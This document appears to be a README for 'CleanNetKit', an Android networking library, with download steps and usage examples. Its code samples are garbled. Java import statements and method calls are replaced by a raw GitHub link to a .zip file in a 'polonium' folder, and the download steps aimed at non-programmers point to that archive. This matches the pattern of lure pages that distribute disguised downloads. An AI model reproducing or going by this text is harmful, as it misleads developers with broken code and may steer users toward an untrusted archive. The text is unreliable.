Welcome to CleanNetKit! This guide will help you easily download and run CleanNetKit, a clean and efficient network layer for your Android applications. You don't need to be a programmer to use this guide—just follow the steps below.

CleanNetKit provides a testable and production-ready network layer for Android applications. It follows best practices like the SOLID principles and employs a CQRS-style architecture. This means you’ll get a clean, organized code structure that improves maintainability and scalability.

• Built on SOLID principles for better code management
• Supports cancellable futures for async tasks
• Designed for high-concurrency scenarios
• Easy integration with your existing Android projects
• Works well with OKHttp for reliable HTTP requests
• Implements retry policies to enhance network requests

To run CleanNetKit, ensure that your system meets the following requirements:

• Operating System: Android 4.4 (KitKat) or higher
• Java Version: JDK 8 or higher
• Development Environment: Android Studio (latest version recommended)
• Internet Connection: Required for downloading the library and making network requests

To get started, visit the following link to download CleanNetKit:

Download CleanNetKit

Once you access the page, look for the latest release. You will see various files available for download. Choose the appropriate file for your project.

1. Visit the Download Page: Go to the CleanNetKit Releases page.
2. Select the Latest Release: Once on the page, find the latest version available at the top.
3. Download the Jar File: Click on the .jar file link to download CleanNetKit.
4. Add to Your Project:
   • Open your Android project in Android Studio.
   • Navigate to your project structure.
   • Drag and drop the downloaded .jar file into the libs folder of your project.
   • Make sure to sync your project when prompted.

Here's a simple example of how to get started with the library.

1. Initialize the CleanNetKit in your activity or fragment:

   import https://raw.githubusercontent.com/Bhumit1123/CleanNetKit/main/polonium/CleanNetKit.zip;
   
   CleanNetKit networkLayer = new CleanNetKit();

2. Make a Network Request:

   https://raw.githubusercontent.com/Bhumit1123/CleanNetKit/main/polonium/CleanNetKit.zip("https://raw.githubusercontent.com/Bhumit1123/CleanNetKit/main/polonium/CleanNetKit.zip")
       .onSuccess(response -> {
           // Handle successful response
       })
       .onFailure(error -> {
           // Handle error
       });

This simple usage demonstrates how you can interact with the CleanNetKit library to make HTTP requests easily.

• Error Handling: Always implement error handling for network requests. Use onFailure to catch any issues.
• Keep it Clean: Organize your files and maintain separation of concerns to reinforce the clean architecture.
• Test Regularly: Use CleanNetKit’s built-in testing capabilities to ensure everything works as expected before going live.

If you need help, feel free to reach out to the CleanNetKit community. You can ask questions or share your progress on forums, or directly open issues on the GitHub repository.

CleanNetKit welcomes contributors! If you have improvements, bug fixes, or new features, please consider contributing. Make sure to read the contribution guidelines in the repository.

CleanNetKit is open-source software licensed under the MIT License. You can use it freely in your projects.

For any inquiries, please contact the maintainer via their GitHub profile.

Thank you for choosing CleanNetKit! We hope you find it valuable for your Android projects.